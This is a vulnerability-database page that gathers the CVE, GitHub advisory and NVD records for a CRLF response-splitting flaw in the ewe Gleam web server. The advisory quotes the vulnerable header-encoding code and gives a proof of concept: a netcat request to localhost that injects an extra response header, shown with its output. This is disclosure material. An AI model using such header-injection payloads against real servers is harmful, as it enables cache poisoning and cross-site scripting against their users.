Vulnerability-Lookup

CVE-2026-34715 (GCVE-0-2026-34715)

Vulnerability from cvelistv5 – Published: 2026-04-02 17:57 – Updated: 2026-04-03 16:00

Title

ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)

Summary

ewe is a Gleam web server. Prior to version 3.0.6, the encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\r\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting. Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser — but provides no equivalent protection for outgoing response headers in the encoder. This issue has been patched in version 3.0.6.

Severity ?

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-113 - Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

Assigner

GitHub_M

References

URL

Tags

	https://github.com/vshakitskiy/ewe/security/advis…	x_refsource_CONFIRM
	https://github.com/vshakitskiy/ewe/commit/ce4ff21…	x_refsource_MISC
	https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	vshakitskiy	ewe	Affected: < 3.0.6

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-34715",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-04-03T16:00:11.591060Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-04-03T16:00:41.121Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ewe",
          "vendor": "vshakitskiy",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.0.6"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "ewe is a Gleam web server. Prior to version 3.0.6, the encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\\r\\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting. Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser \u2014 but provides no equivalent protection for outgoing response headers in the encoder. This issue has been patched in version 3.0.6."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-113",
              "description": "CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-04-02T17:57:00.501Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf"
        },
        {
          "name": "https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446"
        },
        {
          "name": "https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6"
        }
      ],
      "source": {
        "advisory": "GHSA-x2w3-23jr-hrpf",
        "discovery": "UNKNOWN"
      },
      "title": "ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-34715",
    "datePublished": "2026-04-02T17:57:00.501Z",
    "dateReserved": "2026-03-30T18:41:20.752Z",
    "dateUpdated": "2026-04-03T16:00:41.121Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-34715\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-04-02T18:16:32.910\",\"lastModified\":\"2026-04-03T16:16:40.737\",\"vulnStatus\":\"Undergoing Analysis\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"ewe is a Gleam web server. Prior to version 3.0.6, the encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\\\\r\\\\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting. Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser \u2014 but provides no equivalent protection for outgoing response headers in the encoder. This issue has been patched in version 3.0.6.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\",\"baseScore\":5.3,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":3.9,\"impactScore\":1.4}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-113\"}]}],\"references\":[{\"url\":\"https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-34715\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-04-03T16:00:11.591060Z\"}}}], \"references\": [{\"url\": \"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-04-03T16:00:36.543Z\"}}], \"cna\": {\"title\": \"ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)\", \"source\": {\"advisory\": \"GHSA-x2w3-23jr-hrpf\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 5.3, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"vshakitskiy\", \"product\": \"ewe\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 3.0.6\"}]}], \"references\": [{\"url\": \"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf\", \"name\": \"https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446\", \"name\": \"https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6\", \"name\": \"https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"ewe is a Gleam web server. Prior to version 3.0.6, the encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\\\\r\\\\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting. Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser \\u2014 but provides no equivalent protection for outgoing response headers in the encoder. This issue has been patched in version 3.0.6.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-113\", \"description\": \"CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers (\u0027HTTP Request/Response Splitting\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-04-02T17:57:00.501Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-34715\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-04-03T16:00:41.121Z\", \"dateReserved\": \"2026-03-30T18:41:20.752Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-04-02T17:57:00.501Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

GHSA-X2W3-23JR-HRPF

Vulnerability from github – Published: 2026-04-01 22:18 – Updated: 2026-04-01 22:18

Summary

ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)

Details

Summary

The encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\r\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.

Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser — but provides no equivalent protection for outgoing response headers in the encoder.

Details

File: src/ewe/internal/encoder.gleam

Vulnerable code:

fn encode_headers(headers: List(#(String, String))) -> BitArray {
  let headers =
    list.fold(headers, <<>>, fn(acc, headers) {
      let #(key, value) = headers
      <<acc:bits, key:utf8, ": ", value:utf8, "\r\n">>
    })

  <<headers:bits, "\r\n">>
}

Both key and value are embedded directly into the BitArray output. If either contains \r\n, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.

Contrast with request parsing (src/ewe/internal/http1.gleam): incoming header values are protected:

use value <- try(
  validate_field_value(value) |> replace_error(InvalidHeaders)
)

No analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject \r (0x0D) and \n (0x0A) from all header key and value strings in encode_headers before encoding, mirroring the validation already applied to incoming request headers via validate_field_value()

PoC

An ewe application echoes a user-supplied redirect URL into a Location header:

fn handle_request(req: Request) -> Response {
  let redirect_url =
    request.get_query(req)
    |> result.try(list.key_find(_, "next"))
    |> result.unwrap("/home")

  response.new(302)
  |> response.set_header("location", redirect_url)
  |> response.set_body(ewe.Empty)
}

Attacker request:

printf 'GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -w 2 localhost 8080

Resulting response:

HTTP/1.1 302 Found
location: https://example.com
X-Injected: true
content-length: 0
date: Tue, 24 Mar 2026 07:53:00 GMT
connection: keep-alive

The X-Injected: true header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.

Severity ?

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "ewe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T22:18:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `encode_headers` function in `src/ewe/internal/encoder.gleam` directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (`\\r\\n`) sequences. An application that passes user-controlled data into response headers (e.g., setting a `Location` redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.\n\nNotably, ewe *does* validate CRLF in **incoming** request headers via `validate_field_value()` in the HTTP/1.1 parser \u2014 but provides no equivalent protection for **outgoing** response headers in the encoder.\n\n### Details\n\n**File:** `src/ewe/internal/encoder.gleam`\n\n**Vulnerable code:**\n```gleam\nfn encode_headers(headers: List(#(String, String))) -\u003e BitArray {\n  let headers =\n    list.fold(headers, \u003c\u003c\u003e\u003e, fn(acc, headers) {\n      let #(key, value) = headers\n      \u003c\u003cacc:bits, key:utf8, \": \", value:utf8, \"\\r\\n\"\u003e\u003e\n    })\n\n  \u003c\u003cheaders:bits, \"\\r\\n\"\u003e\u003e\n}\n```\n\nBoth `key` and `value` are embedded directly into the `BitArray` output. If either contains `\\r\\n`, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.\n\n**Contrast with request parsing** (`src/ewe/internal/http1.gleam`): incoming header values are protected:\n```gleam\nuse value \u003c- try(\n  validate_field_value(value) |\u003e replace_error(InvalidHeaders)\n)\n```\n\nNo analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject `\\r` (0x0D) and `\\n` (0x0A) from all header key and value strings in `encode_headers` before encoding, mirroring the validation already applied to incoming request headers via `validate_field_value()`\n\n### PoC\n\nAn ewe application echoes a user-supplied redirect URL into a `Location` header:\n\n```gleam\nfn handle_request(req: Request) -\u003e Response {\n  let redirect_url =\n    request.get_query(req)\n    |\u003e result.try(list.key_find(_, \"next\"))\n    |\u003e result.unwrap(\"/home\")\n\n  response.new(302)\n  |\u003e response.set_header(\"location\", redirect_url)\n  |\u003e response.set_body(ewe.Empty)\n}\n```\n\nAttacker request:\n```bash\nprintf \u0027GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n\u0027 | nc -w 2 localhost 8080\n```\n\nResulting response:\n```\nHTTP/1.1 302 Found\nlocation: https://example.com\nX-Injected: true\ncontent-length: 0\ndate: Tue, 24 Mar 2026 07:53:00 GMT\nconnection: keep-alive\n\n\n```\n\nThe `X-Injected: true` header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.",
  "id": "GHSA-x2w3-23jr-hrpf",
  "modified": "2026-04-01T22:18:27Z",
  "published": "2026-04-01T22:18:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vshakitskiy/ewe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ewe Has Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting)"
}

FKIE_CVE-2026-34715

Vulnerability from fkie_nvd - Published: 2026-04-02 18:16 - Updated: 2026-04-03 16:16

Severity ?

5.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446
	security-advisories@github.com	https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6
	security-advisories@github.com	https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "ewe is a Gleam web server. Prior to version 3.0.6, the encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\\r\\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting. Notably, ewe does validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser \u2014 but provides no equivalent protection for outgoing response headers in the encoder. This issue has been patched in version 3.0.6."
    }
  ],
  "id": "CVE-2026-34715",
  "lastModified": "2026-04-03T16:16:40.737",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-02T18:16:32.910",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vshakitskiy/ewe/commit/ce4ff214d32626a10fda9398dc94a2d720e17446"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vshakitskiy/ewe/releases/tag/v3.0.6"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-x2w3-23jr-hrpf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Undergoing Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-113"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-34715 (GCVE-0-2026-34715)

GHSA-X2W3-23JR-HRPF

Summary

Details

PoC

FKIE_CVE-2026-34715

Tags

Sightings

Nomenclature